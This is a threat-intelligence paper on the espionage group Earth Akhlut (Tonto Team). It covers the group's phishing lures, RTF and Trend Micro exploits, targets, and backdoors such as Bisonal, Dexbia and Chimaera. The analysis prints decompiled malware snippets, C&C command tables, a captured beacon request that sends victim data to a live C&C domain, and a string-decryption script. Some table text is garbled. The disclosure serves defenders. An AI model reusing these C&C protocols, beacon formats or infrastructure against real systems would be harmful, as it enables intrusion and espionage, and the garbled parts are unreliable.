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EARTH AKHLUT: EXPLORING THE TOOLS, TACTICS, AND PROCEDURES OF AN ADVANCED THREAT ACTOR OPERATING A LARGE INFRASTRUCTURE

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ABSTRACT

Earth Akhlut, also known as 'Tonto Team', 'Cactus Pete', or 'Lone Range', is an advanced threat actor – likely based in China – that has been operating for over a decade. It has primarily been targeting East Asian government organizations and international companies in a wide range of sensitive industries, including defence, energy, transportation, mining, healthcare, and government entities, to name a few. Recently, it seems that Earth Akhlut has been starting to target organizations on a broader geographic scale, in every part of the world.

The group sends spear-phishing emails with malicious attachments created using the infamous 'Royal Road' Rich Text Format (RTF) exploitation toolkit, which is known to be shared by several different threat actors. In addition, the group also uses phishing websites to gather credentials. We also noticed the exploitation of vulnerabilities in security products.

After successful exploitation of the targeted machine, they drop payloads that include multiple custom backdoors. The backdoors include Bisonal and Dexbia, which are usually written using the MFC framework, and some more advanced families, such as the ShadowPad malware used in the NetSarang attacks [1], which is shared with a few other groups such as APT41 / Winnti. Once they gain control of one host, the threat actors use a variety of custom or repackaged tools to gather credentials or elevate privileges through known *Windows* exploits.

Mapping and monitoring the attacker's infrastructure not only allowed us to discover interesting custom tools, such as a backend command-and-control (C&C) panel for controlling infected machines, it also allowed us to find additional links to known threat actors. Earth Akhlut uses a large variety of domain names and dynamic domain names, forming at least six different clusters, which shows substantial operational capabilities.

In this research paper, we will first analyse the infection vector, starting with the documents weaponized with the 'Royal Road' toolkit. We will then provide a detailed analysis of the different custom tools, shared modules, and malware families. We will also summarize various post-exploitation tools that we noticed Earth Akhlut using. Finally, we will share additional intelligence on the attacker's infrastructure and targets, as well as any likely connections and overlaps with other known threat actors.

MEET EARTH AKHLUT

We initially started tracking this threat actor in 2009, first reporting on the HeartBeat campaign [2] at the Association of Anti-Virus Asia Researchers (AVAR) conference in 2012, followed by the 'Operation ORCA' talk [3] at the Virus Bulletin conference in 2017. Little has been published [4, 5] about this threat actor, making them quite unknown to the general public. We even noticed some IOCs being shared [6] without attributing the attacks to the group. There was one recent publication [7] on this group that describes some of the malware families used by Earth Akhlut. We believe it is high time to reveal more about Earth Akhlut through one of their ongoing campaigns – and to show just how extensive their infrastructure is.

Technically speaking, Earth Akhlut has been using spear phishing since the beginning of its operations: they use targeted emails with lure documents such as *Microsoft Office* documents and PDF files to infect users. They have also used the same 'Bisonal' malware family for many years – and still do. More recently, we have seen them targeting some of *Trend Micro*'s products exposed to the Internet to deliver malicious payloads to workstations in the internal network.

The following are some of the primary techniques used by the group:

- Use of dynamic DNS domains with names impersonating legitimate services to stay under the radar and not raise suspicion in the network log files. Some examples include yandexmedia[.]serveuser[.]com, Wikipedia[.]dnset[.]com, and videoservice[.]dnset[.]com.
- Use of both custom and public tools.
- Use of exclusive malware, either developed internally or custom-built by a third party.
- Performing spear phishing attacks via several different social engineering tricks such as fake job applications and summit invitations.
- Use of zero-day and non-zero-day vulnerabilities in security products to compromise selected workstations.

SPEAR PHISHING

Like many other targeted attack threat actors, spear phishing is a staple of Earth Akhlut's techniques. It is primarily used to infect computers with malware, giving the threat actors initial access to a targeted system. In addition, Earth Akhlut might also use emails that contain a link to a phishing page designed to trick recipients into providing their credentials.

We have observed Earth Akhlut using a specific phishing website that is designed to target people employed or connected with the government of Mongolia, as seen in Figure 1.

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Figure 1: Phishing site targeting people connected with the government of Mongolia.

A closer look at the site's source code reveals that it is a mirror of the official login page used by the Mongolian government's webmail system, but with slight modifications. The data transmitted on the phishing form is sent to a Python script named '*login.py*' located in the root of the phishing website.

One especially devious change made to the phishing trap is its domain name, email-gov-mn[.]com, which is very close to the legitimate domain, email.gov.mn.

INITIAL COMPROMISE

Earth Akhlut uses several methods to compromise a targeted network and gain access to it. The most common is infection via spear phishing email, where an email containing an infecting document is sent to a targeted email address. Earlier cases included executable files sent directly as attachments, while more recent examples generally make use of weaponized RTF files containing exploits.

A slightly different method we have seen used by this threat actor in the wild is the use of legitimate corporate email addresses, most likely obtained by phishing, to send emails to other users. The use of these legitimate emails increases the chances of the victims clicking on the attachment, infecting their machines with malware.

The weaponized RTF documents used by Earth Akhlut are either custom-built or created using the Royal Road RTF weaponizer [8], a tool that allows attackers to produce infecting RTF documents using their own lure content. Royal Road has reportedly been shared among several different Chinese threat actors since 2017. Since the start of 2019, we have collected only a small number of unique Royal Road generated files spread by Earth Akhlut.



Figure 2: Infection chain for a typical Earth Akhlut attack.

2018 campaign: Executable file sent via email

It's reasonable to assume that sending executable files through email is a method that was stopped many years ago, since nearly all email servers have stopped accepting these kinds of file attachments. However, we still saw Earth Akhlut using this method in 2018.

In this case, Earth Akhlut targeted a Russian company producing technology and defence materials, using 1 May (Labor Day) related content to send emails allegedly about better working conditions for people in the defence industry. They also took care to make it appear as if the emails had come from a trusted partner of the targeted company, spoofing a legitimate email address and email signature from said partner.

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Figure 3: Screenshot of a spear phishing email with an attached executable file. The message discusses better working conditions for defence employees.

Using custom-built RTF files

Earth Akhlut has sent several job application-themed spear phishing emails, which unfortunately are usually effective since they do not seem very dangerous – especially for HR employees who receive these kinds of emails legitimately every day.

We caught one sample targeting the Ministry of Defense of the Republic of Belarus, which was sent using a free webmail account. A careful analysis of the email headers revealed that Earth Akhlut had actually sent the email from one of their C&C server IP addresses.

The delivered document shows the resume of an applicant, which was sent as an RTF file. The file actually contains *Microsoft Equation 2.0*-related exploits (CVE-2017-11882 / CVE-2018-0802) that infect the target machine with the Bisonal02 backdoor.

As a side note, we've noticed a growing trend involving threat actors using fake resumes for their targeted attacks since it's an effective way of tricking unsuspecting users into opening the attachments.

Current campaign: RTF document files built with Royal Road Weaponizer

The Royal Road weaponizer has several variants, some of which other researchers have already previously explored [9]. Royal Road build documents usually containing an 'OLE Package Object', which gets extracted into the *%TEMP%* directory under the file name *8.t*. Another object containing a shellcode decrypts (if the 8.t file is encrypted or mangled in some way) and executes the 8.t file.

One example of a generated RTF created by Earth Akhlut is a fake resume for a job application, written in Russian (seen in Figure 4). The payload is an executable file: a Bisonal02 backdoor. Other Earth Akhlut RTF files generated using this tool have been discovered in the wild with different payloads, such as the Bisonal01 backdoor and Dexbia.

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Figure 4: Sample content showing a resume for a job application written in Russian.

Another social engineering technique used by the threat actor involves sending emails concerning important events, conferences, and summits – with an accompanying attachment. In the exampl shown in Figure 5, the final payload is a Dexbia backdoor.

Figure 5: An example of an infected RTF document using a defence-related summit as a social engineering lure.

The RTF files we discovered were written in either Mongolian, Korean, or Russian.

Security product exploitation

In 2020, we saw Earth Akhlut targeting unpatched OSCE servers accessible from the Internet. using multiple exploits –one of which was unknown at the time of exploitation – to deliver a ShadowPad sample to selected targets.

The first vulnerability they used was CVE-2019-9489, a directory traversal vulnerability in *Trend Micro Apex One*, *OfficeScan* and *Worry-Free Business Security* that was patched in April 2019. The second vulnerability was CVE-2020-8468, patched in March 2020, a content validation escape vulnerability involving *Trend Micro Apex One* (on premise) and *OfficeScan XG*, which was exploited to execute code through a malicious update delivered to selected workstations. Both exploits were required to successfully pull off the attack, meaning a fully patched server would have prevented part of it.

Since the discovery of this attack, which targeted some of our customers, we have continuously been monitoring for other potential incidents to take further action if necessary.

Targets

Our research allowed us to pinpoint several Earth Akhlut targets. At the time of writing, we have been able to identify 61 different targets in 19 countries across different industries and sectors, based on our monitoring from January to July 2020.

Since our target analysis was based mostly on our telemetry from the *Trend MicroTM Smart Protection NetworkTM (SPN)*, we suspect Earth Akhlut will target even more companies in several other countries.

The group's current targeting scope reveals that the threat actor is probably well-staffed since the data shows the ability to launch multiple attacks over a short period.





Figure 7: The countries affected by Earth Akhlut.

Some insights gleaned from the data:

- Taiwan was the most targeted country, mostly for its education industry
- India was next, mostly for its oil & gas and energy industries
- The education/research and energy sectors of the government have both been targeted
- Organizations in the technology, manufacturing, government and healthcare industries appear to be the group's primary targets.

The targeted healthcare companies showcase different characteristics. One target, for example, is an expert in blood cells, while others manufacture pharmaceutical products and hardware. Yet another company is focused on technology research.

Nearly all of the affected targets can be considered as owners of high-value intellectual property, which might be interesting in the context of cyberespionage.

LINKS WITH THE THREAT ACTOR GROUP TICK

As mentioned earlier, Earth Akhlut started to make heavy use of ShadowPad in 2019. This malware has previously been attributed solely to Winnti/APT41.

During our investigation, we found four ShadowPad samples using encryption keys similar to those used by the Earth Akhlut samples. However, each one showed a C&C server with a hard-coded IP address instead of a domain name. We noticed that one of the samples was listed in the report of the ENTRADE operation [10], which is related to the TICK group. After conferring with the researchers investigating TICK, we confirmed that the two groups seem to have very close ties. One thing for certain is that they share a ShadowPad builder. In the case of TICK, the ShadowPad samples are dropped by a family named CASPER, which is different from the droppers we have seen Earth Akhlut use.

ANALYSING EARTH AKHLUT'S MALWARE

Custom backdoors

While Earth Akhlut's spear phishing allows the threat actor to get one foot inside the door, the real workhorse is their array of custom backdoors, which are executed once the victim clicks on the malicious executable or lure document.

There are several backdoors used exclusively by the group, which indicates that they either have their own malware developers or have the ability to get custom malware from a third party.

Many of the backdoors share features. Some are likely based on the same code, while others may use the same encryption of configuration or network encryption; use the same (or similar) encryption keys, or use similar file names – among other possibilities. In some cases, there was nothing similar between the backdoors in terms of the source code – however, they shared the same C&C server.

We decided to organize all the backdoors into several groups, as shown in Table 1.

The next sections go into more technical detail on the backdoors used by the threat actor. The various subsections include tables listing the main characteristics of each backdoor.

Backdoor family name	First seen			
Heartbeat	2009			
Old Bisonal	2011			
Chimaera	2012			
Dexbia	2014			
Bisonal01	2014			
Bisonal02	2017			
SPM	2018			
Typehash	2019			
Dumboc	2020			
Idles	2020			

 Table 1: The backdoors used by Earth Akhlut. Note that this table is not meant to show every single version of every backdoor as the division lines are often blurred.

Characteristics	Details
API	• Winsock
C&C address encryption	• Plain text
C&C communication encryption	• Plain text
Visible strings	• 'bisonal'
Backdoor functions	Enumerate processes
	Download and execute
	• Uninstall
	Interactive shell (newer version
	bb 61 cc 261508 d36 d97 d589 d8 eb 48 a a ba 10 f5707 d223 a b5 d5 e34 d98947 c2 f72 a f)
Check VM	N/A
OS information collection	Computer name
Relation to Earth Akhlut	Hard-coded string 'bisonal'

Table 2: Details of the 'HeartBeat' Bisonal variant.

Characteristics	Details
API	• Winsock
	• Wininet
C&C address encryption	• XOR 0x1f
C&C communication encryption	• XOR 0x28
Visible strings	• "CONNECT %s:%d HTTP/1.1\r\n\r\n"
	• "200"
	• "%sDay%sHour%sMin"
Backdoor functions	• Create & write file
	• Execute file
	Enumerate processes
	• Interactive shell
	 Post message to interactive shell thread
	• Delete file
Check VM	•indword('VX')
OS information collection	• IP address
	OS version
	• current uptime
	proxy configuration from registry
Relation to Earth Akhlut	Hard-coded string 'bisonal'

Table 3: Details of the 2011 Bisonal variant.

Early Bisonal variants

The first variant of Bisonal, publicly known as HeartBeat [11], was used in a campaign that targeted a range of industries in South Korea, including government organizations, the media, and even the military.

Other variants of Bisonal soon emerged [12], beginning with an evolved variant that was released in 2011, this time adding more functions such as file creation and removal.

Unlike other variants, this sample has two C&C servers and two methods of communication – one to handle the machine information (described above) and another one for backdoor communication. The backdoor communication uses raw sockets and different C&C servers for receiving commands and sending responses back to the primary C&C server.

The code of this backdoor was reused in the 2012 version of Bisonal. It also shows some similarities with the later Chimaera backdoor – for example, the code snippet shown below for sending machine information to the C&C server. The 'Flag' parameter, which contains the campaign ID, is also present in the Chimaera backdoor. It sends the machine's information to the C&C server using wininet APIs.

```
sprintf(
  &Buffer,
   "Flag:%s Name:%s IP:%s OS:%sSP%d Vmware:%s Proxy:%s",
  &MultiByteStr,
  &name,
  &v34,
  &v24,
  v15,
  &v22,
  &v20);
```

Figure 8: Code snippet showing the similarity between the 2011 Bisonal variant and the Chimaera backdoor.

The 2012 version of Bisonal added a function for collecting operating system information that also contains a hard-coded campaign ID. The same code is reused in the Chimaera backdoor.

Characteristics	Details
API	• Winsock
C&C address encryption	• XOR 0x1f
C&C communication encryption	• XOR 0x28
Visible strings	• "CONNECT %s:%d HTTP/1.1\r\n\r\n"
	• "200"
	• "%sDay%sHour%sMin"
Backdoor functions	• Upload
	• Delete
	• Terminate
	Enumerate drives
	• Enumerate files
	• Forward traffic
	• Execute
Check VM	•indword('VX')
OS information collection	• IP address
	OS version
	Current tick count
	Proxy configuration from registry
Relation to Earth Akhlut	Hard-coded string 'bisonal'

Table 4: Details of the 2012 Bisonal variant.

```
if ( v1 )
MultiByteToWideChar(0, 0, v1, -1, &word_405764, 40);
v3 = GetTickCount();
wsprintfW(v7, L"%d", v3 / 86400000);
v3 %= 86400000;
wsprintfW(v6, L"%d", v3 / 3600000);
wsprintfW(v5, L"%d", v3 % 3600000 / 60000);
wsprintfW(&word_40578C, L"%sDay%sHour%sMin", v7, v6, v5);
qmemcpy(&szCampaignID, L"ljj", 0x14u);
```

Figure 9: The code snippet used in both the 2012 Bisonal variant and the Chimaera backdoor.

Characteristics	Details					
API	• Winsock					
	• Wininet					
C&C address encryption	Plain text					
C&C communication encryption	N/A					
Visible strings	N/A					
Backdoor functions	GetCMD - start interactive shell using cmd.exe and pipes					
	• GetCommand - execute a command in interactive shell					
	GetProcess - list running processes					
	PutFile - download file					
	• ExecFile - execute file using ShellExecute					
	KILLPROCESS - terminate process					
Check VM	•indword('VX')					
OS information collection	• IP address					
	Code page					
	• OS version					
	Proxy from registry (Software\\Microsoft\\Windows\\CurrentVersion\\Internet					
	Settings, "ProxyEnable")					
Relation to Earth Akhlut	Shared infrastructure: tsahimt[.]com					
Characteristics	Details					
API	• Winsock					
	• Wininet					
C&C address encryption	• RC4 with hardcoded key 0x78563412					
C&C communication encryption	• Base64(RC4())					
Visible strings	• "Unknow"					
	• "88776"					
Backdoor functions	• Interactive shell					
	• Execute file					
	Terminate process					
	Download file					
Check VM	N/A					
OS information collection	• IP address					
	• Code page					
	Code pageOS version					
	Code pageOS versionProxy from registry					

Shared infrastructure: tsahimt[.]com
Flag parameter containing campaign ID, sent to C&C server
The preparation of machine information string, notice similar list of variable, particularly 'flag', which is found in old bisonal samples as well as in Chimaera backdoor

Tables 5 and 6: Details of other early Bisonal variants.

During our research, we also found a sample with a backdoor code that is almost identical to the 2012 Bisonal sample, but the C&C address is visible in plain text. In addition, there are some other similarities to the Chimaera backdoor, such as the use of a file named 'temps.ini' and using urlmon APIs for C&C communication.

Some of the early Bisonal-related backdoors did not have a specific hard-coded 'bisonal' string, but shared the same infrastructure:

wcscpy(&word_4501C0,	L"on");
wcscpy(&word_4517C0,	L"flag : ");
wcscat(&word_4517C0,	&szCampaignID);
wcscat(&word_4517C0,	<pre>L" ; hostname: ");</pre>
wcscat(&word_4517C0,	&Dest);
wcscat(&word_4517C0,	L"; IP:");
wcscat(&word_4517C0,	&word_450148);
wcscat(&word_4517C0,	L"; OS:");
wcscat(&word_4517C0,	&word_450170);
wcscat(&word_4517C0,	L" ; VMware : ");
wcscat(&word_4517C0,	&word_453318);
wcscat(&word_4517C0,	L"; Proxy : ");
wcscat(&word 4517C0,	&word_45331C);
wcscat(&word_4517C0,	L" Process : ");
wcscat(&word_4517C0,	&word_453320);

Figure 10: Similarities in variables between the old Bisonal samples and Chimaera backdoor.

Chimaera

Characteristics	Details
API	• urlmon
	• Winsock
	• Wininet
C&C address encryption	• XOR 0x1f
C&C communication encryption	• Plain text
Visible strings	• "temp.ini"
	• e
	• "Up Fail"
	• "Up OK!"
	• "Run -%4d"
	• "Run OK!"
Backdoor functions	Download file
	• Execute file
	• Interactive shell
	• Set persistence
	Enumerate processes
Check VM	•indword('VX')
OS information collection	Computer name
	• IP address
	OS version
	Current tick count
	Uptime in format %sDay%sHour%sMin
Relation to Earth Akhlut	Found in Earth Akhlut infrastructure

Table 7: Details of the Chimaera backdoor.

Chimaera, which first appeared in 2012, is another of Earth Akhlut's early backdoors. It needs to be run with command line parameters – either '-test' or '-backdoor' are accepted. The first backdoor request sent to the C&C server contains the collected OS information. The data is then transmitted in the user-agent field of the HTTP header. Of note is the 'flag' value, which is the hardcoded campaign ID in the binary.



Figure 11: Data sent from the malware to the C&C server, as seen in the User-Agent field of the HTTP header.

The second backdoor request sent to the C&C server, which is hexadecimal-encoded, collects OS information and the current time, all embedded into the GET request parameter. The result of this request will be saved in the *%TEMP%\temp.ini* file. Afterwards, four bytes from this file will be read and used as a victim ID for further C&C communication. Notice the a.asp path used to acquire the victim ID:

<pre>GET http://www.q00gle_kr.dns05.com/a.asp?id=</pre>
010000000000000310032003300310000000000
0770069006E0037002D003300320062006900740000000000000000
0000000003100370032002E00320031002E00320034002E0038003
700000000000000000000000000000000000000
48006F0075007200330033004D0069006E00000000000000000000000
000000000000000000000000000000000000000
D00000B11D00F0Fri%20Mar%2027%2008:11:05%202020 HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible: MSIE 7.0; Windows
NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET
CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0;
NET4.0C: .NET4.0E)
Host: www.a00ale_kr.dns05.com
Proxy-Connection: Keep-Alive

Figure 12: The encoded traffic sent to the C&C server by the backdoor.

When the victim ID is obtained, *b.asp* is queried for new commands coming from the C&C servers. If the operator enters a command, it will be received and executed. It will then encode the resulting hex before it is sent via a GET request to the c.asp URL path.

We managed to obtain the Chimaera control panel:

🚨 Ch	imaera 1.0									
Id	Name	Exter_ip	Inter_ip	OS_verion	Runtime	Tips	Ontime	Offtime	Proxy	Vmware
1	win7-32bit	127.0.0.1	172.21.24.87	Win7/200	0Day6Hour7Min	1231	Mar 27 08:28:48		Y	Ν

Figure 13: Chimaera 1.0 backdoor controller part, as viewed by the threat actor.

Double-clicking on a selected machine opens another window containing more functions. We can clearly see an interactive command line window, a process list box, an upload file path box, and an execute file box.

MD		PROCE	SS	
3/27/2020 08:25 AM <dir> . .3/27/2020 08:25 AM <dir> . .3/27/2020 08:25 AM <dir> . .3/27/2020 04:20 AM 34,816 6566 1668e7da0bcbcb013adea745d62_localhost.exe 2/29/2019 05:56 PM 85,504 c.exe 3/27/2020 08:52 AM <dir> host 2 File(s) 120,320 bytes 3 Dir(s) 8,459,902,976 bytes free</dir></dir></dir></dir>	•	PID	PROCESS	
∶\temp>dir Volume in drive C has no label. Volume Serial Number is 2C79-A8C6				
Directory of c:\temp				
3/27/2020 08:25 AM <dir> . 3/27/2020 08:25 AM <dir> 3/27/2020 04:25 AM <dir> 3/27/2020 04:20 AM 34,816 5666 1f6f8e7da0bcbcb013adea745d62_localhost.exe 2/29/2019 05:86 PM 85,504 c.exe 3/27/2020 08:53 AM <dir> host 2 File(s) 120,320 bytes 3 Dir(s) 8,459,902,976 bytes free</dir></dir></dir></dir>	ш			
:\temp>	*			
	•			
	CMD			
PFILE				
tp Path: OP	EN			
		L	[PDOCES	

Figure 14: The Chimaera backdoor options available on infected computers.

Dexbia (2015)

Characteristics	Details
API	• Wininet
C&C address encryption	• Custom
C&C communication encryption	Zlib compression
Visible strings	• "success"
	• "/index.asp"
Backdoor functions	Enumerate processes
	• Terminate
	• Interactive shell
	• Download & execute,
	• OS information collection: computer name, IP address, OS version, proxy from registry, user name
Check VM	N/A
OS information collection	N/A
Relation to Earth Akhlut	Previous publications

Table 8: Details of the 2015 Dexbia variant.

Derxbia is another backdoor that Earth Akhlut used in 2015. It uses a custom string encryption algorithm using the atypical constants 0x58BF and 0x3193.

The backdoor consists of the following steps:

- Step 0: initial value of key = 1213 and is hard coded.
- Step 1: from the given string, take two following characters, compute input[ii+1] + 26*input[ii] + 37. This results in a string with half the length of the original string.
- Step 2: compute the output character using the formula outchar = (input[ii]) ^ ((key >> 8) & 0xff).
- Step 3: update key value using the above mentioned constants: key = (0x58BF ((input[ii]) + key) * 0x3193) & 0xffff.

As for the output sent to the C&C server, the communication routine prepends a three-character prefix l%cl, where the middle letter depends on the type of response. The prefixes are as follows:

- |A| OS info
- |B| enumerate processes
- |C| terminate process
- |E| download & execute report
- |F| interactive shell read

After the prefix, the zlib-compressed payload is added.

Dexbia samples usually contain a hard-coded campaign identifier, some of which are listed below:

- 416-J tes
- 0209J DS
- 0216jHC MN1223
- 228KJ 1228
- 3sa dis
- new ser
- 711 mfa820
- ru ser_ru

```
import sys
inbuf0 = sys.argv[1]
key = 1213
inbuf1 = bytearray()
for ii in range(0, len(inbuf0), 2):
    bb = ord(inbuf0[ii+1]) + 26*ord(inbuf0[ii]) + 37
    inbuf1.append( bb & 0xff)
#print( inbuf1 )
outbuf = bytearray()
for ii in range(0, len(inbuf1)):
    bb = (inbuf1[ii]) ^ ((key >> 8) & 0xff)
    outbuf.append( bb )
    key = (0x58BF - ((inbuf1[ii]) + key) * 0x3193) & 0xffff
print( outbuf )
```

Figure 15: Custom encryption code using the atypical constants 0x58BF and 0x3193.

As an example for this backdoor, starting with the initial encrypted string:

ELDLJFDRILGOEYFZGMCXDIHYGEDKAJIAFTFE

Once the first loop of the algorithm is done, it becomes

• sY\xef_\xdb\xaa\x80\x9b\xa8KV\xce\xa0X\t\xd0\x95\x86

After the second step, it reveals the unencrypted data:

• www[.]riss[.]ntdll[.]net

Bisonal 01a

Characteristics	Details
API	• Winsock
	• Wininet
C&C address encryption	• XOR 0x15
	• XOR 0x1D
C&C communication encryption	• Base64
Visible strings	• "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322" (missing closing parenthesis)
	• "CMD_LONG"
Backdoor functions	• Get OS info
	Enumerate processes
	Terminate process
	Interactive shell
	Download file
	• Execute file
	• Uninstall itself
	• Wipe file (set size to 0)
Check VM	N/A
OS information collection	Hard-coded ID
	Computer name
	• IP address
	OS name
Relation to Earth Akhlut	• XOR 0x1D is somewhat similar to XOR 0x1F

Table 9: Details of the Bisonal 01a backdoor.

Unlike previous versions of Bisonal 01a, this variant sends the data to the C&C server in Base64-encoded form, appended to the GET request. Base64 is also used to decode data received from the C&C server.



Figure 16: The base 64-encoded data that is appended to the GET request.

The encoded data in the GET request has a specific format: the first four bytes represent a buffer magic value, while another four bytes represent the command ID. For example, the first GET request is a random blob of data sent to the C&C server.

Initially, a request starts with 'AAABAOcDAAA', which can be decoded as '00 00 01 00 e7 03 00 00'. The different backdoor commands each have corresponding identifiers.

Identifier	Command
0xC8	Gets system information
0xC9	Gets running process list
0xCA	Terminates process
0xCB	Accesses to cmd shell using named pipe
0xCD	Downloads file
0xCF	Executes file
0xD0	Remove itself from RUN key and delete itselft
0xD1	Creates file

Table 10: The various backdoor commands with corresponding identifiers.

Bisonal 01b

Characteristics	Details
API	• Winsock
	• Wininet
C&C address encryption	RC4, hard-coded password 0x12345678
C&C communication encryption	• RC4, hard-coded password 0x12345678
Visible strings	• "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322" (missing closing parenthesis)
Backdoor functions	Get OS info
	Enumerate processes
	Terminate process
	• Interactive shell
	Download file
	• Execute file
	• Uninstall itself
	• Wipe file (set size to 0)
Check VM	N/A
OS information collection	Hard-coded ID
	Computer name
	• IP address
	OS name
Relation to Earth Akhlut	• Encryption key similar to old Bisonal samples with an RC4 key (the key has the same length but byte order is reversed)

Table 11: Details of the Bisonal 01b backdoor.

Bisonal 01b's URL pattern follows this format:

• http://<domain>:<port>/<hardcoded sample ID><victim's IP address><third hardcoded ID>

(Example : http://etude.servemp3.com/ks8d0.0.0.0akspbu.txt)

When port 80 is used, it is not specified in the URL. The hard-coded ID in this example is 'ks8d', while the IP address placeholder is 0.0.0.0. The third hard-coded ID is *akspbu.txt*.

Bisonal02

Characteristics	Details
API	• Winsock
	• Wininet
C&C address encryption	• XOR 0x1D
C&C communication encryption	Plain text
Visible strings	 "ReCeiVe DAta Br0keN.\r\n", "1nternet0pen err0r: %d .\n", "abadjfp455646\$#%TDFSDAFfdsdafafdQSS34-=", C0ngr@tuati0ns., "Dst Sp@ce is not Enough!" Some older versions do not use 133t speak, they use regular text ("Receive Data Broken", "Dst Space is not Enough!")
Backdoor functions	 Send OS info Interactive shell Exit Download file Enumerate process (in newer version)
Check VM	•indword('VX')
OS information collection	 Computer name User name IP address Is proxy enabled Is a virtual machine
Relation to Earth Akhlut	 Existence of string "C:\windows\system32\browser.dll" in several Bisonal02 samples. This same string is also found in many Dexbia samples as well as in several old Bisonal backdoors. XOR 0x1D is somewhat similar to XOR 0x1F The same check VM method for detecting VMware The same method for proxy configuration.

Table 12: Details of the Bisonal02 backdoor.

Bisonal02 contains an anti-sandbox trick based on the network. The first POST request is for a non-existent website using the prefix www.github to be created (for example, https://www[.]github##5o52d[.]com/Daf/post[.]asp). If this request fails, the backdoor code flow continues as expected. If it succeeds, however, it is a sign that the sample is being run in an environment that resolves even non-existent URL addresses to valid IP addresses. This causes malware samples to stay in a loop, periodically querying non-existent *GitHub* URL addresses.

The OS info structure is filled up using the following format:

• {Hostname}|{Username}|{OS Version}|{yes/no}|{IPv4}\$000.000.000\$

The first 'yes/no' value is with regards to the proxy use, while the second one is regarding the use of a virtual machine.

SPM

Characteristics	Details
API	• Wininet
C&C address encryption	Plain text
C&C communication encryption	• Zlib + RC4

Table 13 (part 1): Details of the SPM backdoor.

Characteristics	Details
Visible strings	• "item.asp?spm=xx{}:>*()_!"
Backdoor functions	• NO+++ @(buffer+0)
	• reset time counter
	• send OS info
	• INIT+
	- @(buffer+0)
	- set victim ID
	- send OS info
	• LOGON
	- $(000000000000000000000000000000000000$
	• $PTPM1$ @(buffer+16)
	- (a)(b)(ffer+22) = port number
	- @(buffer+26) host name
	- Point To Point Method 1
	- connect to a remote host
	- encrypt and forward received data to C&C
	• PTPM2 @(buffer+16)
	- Point To Point Method 2
	- bind, listen, accept
	- wait for other machines to connect to this machine
	- encrypt and forward received data to C&C
	• DRIVE @(buffer+16)
	enumerate drives (h) (h) (h) (h) (h) (h) (h)
	= 0 (buffer+21) - value to set
	- file download block size default is 100KB
	- dword $4380FC = *(DWORD *)(pBufferRead + 21)$
	• PROCS @(buffer+16)
	- enumerate processes
	• PROKL @(buffer+16)
	- process kill
	• CMD++ @(buffer+16)
	- start interactive shell
	• CMD @(buffer+16)
	- exit interactive shell
	- (send 'exit' command to pipe)
	• FOAFI (Coulder+10) Find Of All Files in a given directory
	• MODEL @(buffer+16)
	- date time = @(pBufferRead+21)
	- MODify File time
	• DELFI @(buffer+16)
	- DELete FIle
	• RUN++ @(buffer+16)
	- RUN program using ShellExecuteW
	• UP+FI @(buffer+16)
	- UPload FIle (from server to victim machine)
	• DW-F1 @(buffer+16)
	- Download File (from server to victim machine) DW ES (a) (h) (from server to victim machine)
	• DW-FS (UUIIEF+10)
	• DW-ST @(buffer+16)
	- DoWnload Stop
Check VM	N/A

Table 13 (part 2): Details of the SPM backdoor.

Characteristics	Details	
OS information collection:	•	computer name
	•	IP address
	•	current time
	•	OS version
Relation to Earth Akhlut	•	Shared infrastructure tsahimt[.]com

Table 13 (part 3): Details of the SPM backdoor.

For the SPM backdoor, the received C&C communication starts with five-character command identifiers, followed by four bytes for the victim ID. For example:

command: aa aa aa aa aa

victimID: bb bb bb bb

One of the more notable characteristics of this backdoor is that it shares the same infrastructure (tsahimt[.]com) with some of the previous Bisonal backdoors.

Dexbia (2019a and 2019b)

Characteristics	Details
API	• Winsock
	• wininet
C&C address encryption	• Custom
C&C communication	• Base32
encryption	• Custom RC4 (key scheduling only has 0x80 steps)
Visible strings	• "{\"status\":\"success\"}"
Backdoor functions	Enumerate processes
	Terminate process
	• Interactive shell
	Download and execute
Check VM	N/A
OS information collection	Computer name
	• User name
	• IP address
	Code page
	Current tick count
	OS version
	Proxy settings from registry
	• isAdmin
Relation to Earth Akhlut	• Same custom encryption as older Dexbia versions, 'success' string now has JSON format

Table 14: Details of the first (2019a) Dexbia variant from 2019.

Characteristics	Details
API	• Winsock
	• Wininet
C&C address encryption	• Custom
C&C communication	• Base32
encryption	• Custom RC4 (key scheduling only has 0x80 steps)
Visible strings	• "{\"status\":\"success\"}"

Table 15 (part 1): Details of the second (2019b) Dexbia variant from 2019.

Characteristics	Details
Backdoor functions	• set victim ID,
	enumerate processes
	terminate process
	get current tick count
	enumerate drives
	• enumerate files
	• interactive shell
	download and execute
	• append to file
	• upload file
	• delete file
	• forward traffic
	execute command
Check VM	n/a
OS information collection	computer name
	• user name
	• IP address
	• code page
	current tick count
	OS version
	 proxy settings from registry
	• isAdmin
Relation to Earth Akhlut	 Same custom encryption as older Dexbia versions, 'success' string now has JSON format

Table 15 (part 2): Details of the second (2019b) Dexbia variant from 2019.

Two Dexbia variants were used in 2019. The first one, which we will call 2019a, uses an RC4 algorithm with only 128 steps, compared to the 256 steps seen in a standard RC4 algorithm.

```
for ( i = 0; i < 128; *(&v7 + i) = *(_BYTE *)(v4 + a1) )
{
    v4 = i % a2;
    pCustomRc4Status[i] = i;
    ++i;
}
for ( result = 0; result < 128; ++result )
{
    v6 = pCustomRc4Status[result];
    v2 = ((unsigned __int8)pCustomRc4Status[result] + (unsigned __int8)*(&v8 + result) + v2) % 128;
    pCustomRc4Status[result] = pCustomRc4Status[v2];
    pCustomRc4Status[v2] = v6;
}</pre>
```

Figure 17: The custom RC4 algorithm used in the sample.

A second, extended version of Dexbia from 2019 (2019b) contains more backdoor functions. One of its particularly interesting functions is a traffic forwarder, which creates a socket that connects to it once it is given two parameters (a server and port number).

Typehash

Characteristics	Details
API	• Winsock
	• Wininet
C&C address encryption	• XOR 0x1f
C&C communication encryption	Plain text
Visible strings	• "news.php"
	"http://%s:%d/%s?type=1&hash=%s&time=%s"

Table 16 (part 1): Details of the Typehash backdoor.

Characteristics	Details
Backdoor functions	Enumerate drives
	• Enumerate files
	Download file
	• Execute file
	• Delete file
	• Upload file
	Enumerate processes
	Kill process
	• Interactive shell
	Enumerate services
	Get OS info
Check VM	•indword('VX')
OS information collection	Computer name
	• IP address
	Code page
